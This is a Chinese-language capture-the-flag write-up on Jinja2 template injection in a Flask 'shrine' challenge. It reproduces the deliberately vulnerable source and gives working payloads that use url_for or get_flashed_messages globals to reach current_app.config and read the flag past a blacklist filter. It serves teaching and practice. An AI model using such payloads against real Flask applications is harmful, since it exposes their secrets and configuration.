首先判斷出是Jinja2模板注入
判斷方法 https://www.cnblogs.com/dghh/p/18307622
import flask
import os
# 建立一個 Flask 應用例項
app = flask.Flask(__name__)
# 從環境變數中讀取 'FLAG' 並設定到應用配置中
app.config['FLAG'] = os.environ.pop('FLAG')
# 定義根路徑('/')的路由
@app.route('/')
def index():
# 返回當前指令碼的內容
return open(__file__).read()
# 定義 'shrine' 路徑的路由
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
# 定義一個安全處理 Jinja 模板的函式
def safe_jinja(s):
# 移除字串中的圓括號,以減少攻擊面的複雜度
s = s.replace('(', '').replace(')', '')
# 定義一個黑名單,包含 'config' 和 'self'
blacklist = ['config', 'self']
# 為黑名單中的每個詞新增置空變數的 Jinja 語句
# 並在字串前新增這些語句
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
# 渲染經過安全處理後的 Jinja 模板字串
return flask.render_template_string(safe_jinja(shrine))
# 啟動 Flask 應用
if __name__ == '__main__':
app.run(debug=True)
經過對程式碼的分析我們知道註冊了一個名為FLAG的config,這應該就是flag,如果沒有過濾可以直接{{config}}即可檢視所有app.config內容,但是這題設了黑名單[‘config’,‘self’]並且過濾了括號;
這個過濾並不是把‘config’,‘self’刪除而是把這兩個變數置為空
在python裡,有許多內建函式,其中有一個 url_for ,其作用是給指定的函式構造 URL。配合globals(),該函式會以字典型別返回當前位置的全部全域性變數。這樣也可以實現檢視的效果
https://blog.csdn.net/Drifter_Galaxy/article/details/116106315
先檢視當前位置的全部全域性變數
shrine/{{url_for.__globals__}}
current_app': <Flask 'app'>這裡的current就是指的當前的app,這樣我們只需要能檢視到這個的config就可以看到flag了
方法如下
{% set config=None %} 和 {% set self=None %} 將 config 和 self 變數設定為 None,其目的是防止模板注入攻擊中利用這些變數來訪問敏感資訊。
可以透過屬性訪問的方式繞過這種防禦。例如,使用 url_for.globals['current_app'].config['FLAG'] 這樣的表示式:
config:{{url_for.__globals__['current_app'].config['FLAG']}}
這裡的 config 是一個路徑而不是直接的變數引用。具體來說,這個表示式:
url_for: 通常在 Flask 應用中用於生成 URL。
globals: Flask 提供的全域性物件。
current_app: 代表當前應用例項。
config: 當前應用的配置物件。
['FLAG']: 從配置物件中訪問名為 FLAG 的配置項。
在這個表示式中,config 只是路徑的一部分,而不是直接的變數引用。因此,即使您在模板中將 config 變數設定為 None,也不會影響這個路徑的解析,因為這裡的 config 並不是模板中的 config 變數,而是 current_app 物件的屬性。
{{url_for.__globals__['current_app'].config['FLAG']}}
當然不用url_for也行
可以用get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}